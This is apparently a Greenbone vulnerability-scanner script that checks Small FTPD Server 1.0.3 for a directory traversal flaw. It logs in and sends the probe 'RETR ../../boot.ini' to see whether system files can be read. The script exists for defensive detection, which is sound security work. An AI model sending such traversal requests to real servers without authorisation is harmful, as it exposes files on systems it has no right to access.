Small FTPD Server Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801534");
  script_version("2025-07-16T05:43:53+0000");
  script_tag(name:"last_modification", value:"2025-07-16 05:43:53 +0000 (Wed, 16 Jul 2025)");
  script_tag(name:"creation_date", value:"2010-11-04 14:21:53 +0100 (Thu, 04 Nov 2010)");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_name("Small FTPD Server Directory Traversal Vulnerability");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/15358/");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "os_detection.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("Host/runs_windows", "ftp/smallftpd/detected");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to read arbitrary
  files on the affected application.");

  script_tag(name:"affected", value:"Small FTPD Server version 1.0.3.");

  script_tag(name:"insight", value:"The flaw is due to an error handling certain requests which can
  be exploited to download arbitrary files from the host system via directory
  traversal sequences in the filenames.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Small FTPD Server is prone to a directory traversal vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "smallftpd" >!< banner)
  exit(0);

soc1 = open_sock_tcp(ftpPort);
if(!soc1)
  exit(0);

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

login_details = ftp_log_in(socket:soc1, user:user, pass:pass);
if(login_details)
{
  result = ftp_send_cmd(socket: soc1, cmd:"RETR ../../boot.ini");

  if("150 Data connection ready." >< result){
    security_message(port:ftpPort);
  }
}

ftp_close(socket:soc1);